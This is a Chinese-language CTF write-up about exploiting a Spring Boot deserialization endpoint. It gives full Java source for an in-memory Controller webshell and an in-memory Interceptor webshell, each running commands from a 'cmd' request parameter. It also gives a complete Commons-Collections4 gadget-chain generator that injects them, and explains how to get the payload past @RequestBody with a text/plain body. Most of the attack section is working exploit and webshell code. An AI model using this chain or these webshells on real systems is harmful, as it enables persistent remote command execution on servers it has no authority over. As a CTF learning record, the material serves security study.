前言
比赛中卡在了内存马上,了解完Controller和Interceptor内存马后,再来复现一下。
复现
package com.ctf.ezjava.controller;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class Hello {
public Hello() {
}
@GetMapping({"/hello"})
public String hello() {
return "hello";
}
@PostMapping({"/myTest"})
public String myTest(@RequestBody String baseStr) {
try {
byte[] decode = Base64.getDecoder().decode(baseStr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
ois.readObject();
return "true";
} catch (Exception var4) {
System.out.println(var4);
return "false";
}
}
}
有个反序列化入口,并且项目里有commons-collections4-4.0.jar
依赖,直接打CC2或CC4就行,但卡在了两个地方:
绕过@RequestBody
其实也不算是绕过,主要知识储备不够导致的。
Demo
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class TestController {
@RequestMapping("/test")
public String test(String name){
System.out.println(name);
return name;
}
}
不加@RequestBody时,当请求localhost:8081/test?name=Sentiment
后,name的值是Sentiment
而若加上@RequestBody后,此时在请求localhost:8081/test?name=Sentiment
后,name的值就变成了name=Sentiment,也就是上了前边的name=
,明显前半段内容是我们不想要的,而若不传name=只传后边的Sentiment
又传不进去
所以就需要把内容类型直接改成text/plain,这样就可以直接传值了,构造CC4的链尝试攻击,成功弹出计算器
但是本题环境不止本地环境如此,题目环境是一个不出网的环境,无法反弹shell,所以还需要构造内存马
内存马构造
这里有个注意点,由于使用CC4的攻击方式,而CC4是通过动态加载字节码的,所以在构造恶意字节码文件时需要继承AbstractTranslet, 之前提到过
Controller内存马
package com.sentiment.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
public class TestController extends AbstractTranslet {
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = TestController.class.getMethod("test");
// 4. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(null, null, null, null, null, null,
null);
TestController injectToController = new TestController();
mappingHandlerMapping.registerMapping(info, injectToController, method);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@ResponseBody
public String test() throws Exception {
// 获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while ((line = br.readLine())!=null){
str+=line;
}
is.close();
br.close();
return str;
}
}
Interceptor内存马
package com.sentiment.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;
public class TestInterceptor extends AbstractTranslet implements HandlerInterceptor{
static {
try{
// 1. 获取上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 通过上下文获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3、反射获取adaptedInterceptors属性
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>)field.get(mappingHandlerMapping);
//4、生成MappedInterceptor对象
MappedInterceptor mappedInterceptor = new MappedInterceptor(null,null,new TestInterceptor());
// 5、添加到adaptedInterceptors中
adaptedInterceptors.add(mappedInterceptor);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while ((line = br.readLine())!=null){
str+=line;
}
is.close();
br.close();
response.getWriter().write(str);
return false;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
CC4
package CommonsCollections4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;
public class CC4Test {
public static void main(String[] args) throws Exception {
FileInputStream fis =new FileInputStream("D:\\TestController.class");
byte[] bs = new byte[fis.available()];
fis.read(bs);
Templates templates = new TemplatesImpl();
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{bs});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(0);
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
//unserialize("1.txt");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
controller
构造好后,通过/myTest传进去,再?cmd=shell执行命令
Interceptor
通过拦截器执行命令,所以访问/myTest
生成内存马后,再/myTest?cmd=shell
执行命令,或者访问hello触发拦截器也可